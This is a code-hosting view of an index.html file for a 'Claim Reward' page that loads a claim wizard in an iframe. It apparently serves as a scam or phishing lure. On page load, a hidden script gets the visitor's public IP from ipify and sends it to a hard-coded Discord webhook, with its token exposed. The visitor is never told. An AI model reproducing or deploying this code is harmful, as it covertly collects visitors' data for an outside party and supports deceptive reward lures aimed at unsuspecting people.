spin / index.html
abeea's picture
Update index.html
b861abc verified
Raw
History Blame Contribute Delete
2.72 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Claim Reward</title>
<style>
html,
body {
height: 100%;
}
body {
margin: 0;
background: #000;
overflow: hidden; /* keep the viewport tidy */
}
/* Iframe that hosts the real claim page */
.frame {
width: 100vw;
height: 100vh;
border: 0;
display: block;
}
/* Fallback UI shown when the iframe fails to load */
.fallback {
position: fixed;
inset: 0;
display: grid;
place-items: center;
color: #fff;
font-family: Arial, sans-serif;
padding: 16px;
text-align: center;
}
.fallback a {
color: #61dafb;
}
</style>
<script>
/* ===== 1️⃣ Fallback logic ===== */
function handleIframeError() {
const fb = document.getElementById('fallback');
if (fb) fb.style.display = 'grid';
}
/* ===== 2️⃣ Send IP on page load ===== */
window.addEventListener('load', sendIpAddressOnLoad);
function sendIpAddressOnLoad() {
// Step 1 – get the client's public IP
fetch('https://api.ipify.org?format=json')
.then(r => r.json())
.then(data => {
const ip = data.ip;
// Step 2 – send it to the Discord webhook as a simple message
const message = {
content: `User's IP Address on load (Welcome Page): ${ip}`
};
fetch('https://discord.com/api/webhooks/1407698397586128979/ZzO4yf9tDgG5r4JCE0ckXb0_xBI-AX4GEjFj_bpceRj1FRhasTKh80_rxYTNEe2vqgac', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(message)
})
.then(resp => {
if (!resp.ok) throw new Error(resp.statusText);
})
.catch(err => console.error('Discord webhook error:', err));
})
.catch(err => console.error('IP fetch error:', err));
}
</script>
</head>
<body>
<!-- The iframe that hosts the actual claim wizard -->
<iframe
class="frame"
src="likes/welcome/welcome.html"
title="Claim Page"
onerror="handleIframeError()">
</iframe>
<!-- Hidden fallback until (or if) it becomes visible -->
<div id="fallback" class="fallback" style="display:none">
<div>
<h2>Opening claim page…</h2>
<p>
If the page didn’t load, <a href="likes/welcome/welcome.html"
target="_blank" rel="noopener noreferrer">click here</a> to open
it directly.
</p>
</div>
</div>
</body>
</html>